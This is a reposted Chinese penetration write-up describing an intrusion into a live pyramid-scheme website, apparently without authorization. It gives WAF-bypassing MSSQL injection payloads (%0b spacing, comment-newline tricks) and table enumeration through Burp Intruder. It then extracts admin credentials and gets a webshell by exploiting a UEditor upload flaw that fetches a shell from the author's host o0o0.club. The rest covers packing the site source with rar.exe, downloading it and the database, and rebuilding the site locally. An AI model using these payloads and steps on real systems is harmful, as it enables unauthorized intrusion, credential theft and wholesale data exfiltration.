安基网 首页 安全 攻防案例 查看内容

记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

2020-2-5 14:45| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 搜索公众号:暗网黑客可领全套安全课程、配套攻防靶场一、前言如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。二、信息搜集目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。三.pass Sq3.1 Fuzz根据如上测试可以看出程序本身也有过滤,err ...


一、前言

如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。


二、信息搜集

目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。


三.pass Sq


3.1 Fuzz

根据如上测试可以看出程序本身也有过滤,error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号,例如空格使用%0b 加号使用%2b等。再根据测试的结果,可以先利用convert转换报错获取一部分信息。

goodscontent.aspx?gid=convert(int,@@version)#版本信息goodscontent.aspx?gid=convert(int,db_name())#数据库信息goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户……tips:可以通过遍历db_name(1)中的数字获取其他库名
goodscontent.aspx?gid=convert(int,@@version)#版本信息goodscontent.aspx?gid=convert(int,db_name())#数据库信息goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户……tips:可以通过遍历db_name(1)中的数字获取其他库名

得到以

ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)用户名:sa计算机名:10_*_76_*SQLEXPRESS   10.*.76.*当前库:pan20170823所有库名:pan20170823mastertempdbmodelmsdbReportServer$SQLEXPRESSReportServer$SQLEXPRESSTempDB

再往下就是获取表的信息

1.goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

由于我只会简单的select from因此始终无法获取表名,如果有其他姿势还望给科普下。

3.2 万金油

此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之。

goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可

获取到第一个表名:jsrecord


由于还是没能绕过单引号和等号,我始终用不了not in与for xml path来爆后续的表名,这又触及到了我知识盲区,因此只好查阅大量文章案例,最终构造出如下语句。

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

此时只需要遍历top的数值即可,例如:


/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

通过不断的遍历数值发现还是存在问题

举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决


操作如下:首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)

然后使用Grep-Extact提取表名。

保存结果后去重即可。


和前面获取到的表总个数是一致的。

解下来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。


如图,盲猜列名txt_nickname、nickname、txt_password、password


/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/



/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/


四.后台getshell


登陆后台


经测试后发现信息管理处可以发布咨询,上传图片。通过修改去掉filename=”1.aspx”中的双引号绕过安全狗,但无法绕过程序自身的检测。


shell addr:

不过得知上传组件为ueditor,且.net版本存在上传漏洞

poc如下


shell addr:

并在自己的服务器上准备好shell(注意过狗),名称为a.gif,然后填入shell地址


https://o0o0.club/a.gif?.aspx



提交后即可得到shell路径


五、打包源码与数据库


在有了shell之后要做的事情就更明确了,即是打包源码与数据库,由于只需要这两样操作,相对于不需要太大的权限,避免操作不当触发警告。因此我选择先通过shell来进行打包操作。


源码

这里利用的是自行上传的rar.exe来分卷打包源码,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但效果并不理想,姿势不够还望科普。

1234567
rar.exe a -r -v50m -m5 pan20170823 *.*#a 压缩#-r 打包子目录#-v 分卷大小#-m 压缩等级#pan20170823目标目录#*.* 打包后文件名为 pan20170823.part*.rar

最终以每秒100k的速度下载完成。

数据库

略过,后台自带备份功能

坑点:后台的备份文件后缀为zip,下载回来总是提示文件损坏,一直以为备份功能有问题,后来发现文件头是TAPE。。。。


六、本地搭建


本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0


SQL Server

安装过程略过导入数据

新建数据库,然后通过原设备还原数据




还原成功


IIS与ASP.NET

安装一笔带过,左边拉满就行,简单粗暴

添加站点

最好对应目标版本

修改源码中的配置文件

访问即可

作者:HACK_Learn

转载自:https://www.secpulse.com/archives/121093.html




小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/i6789047191378854414/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部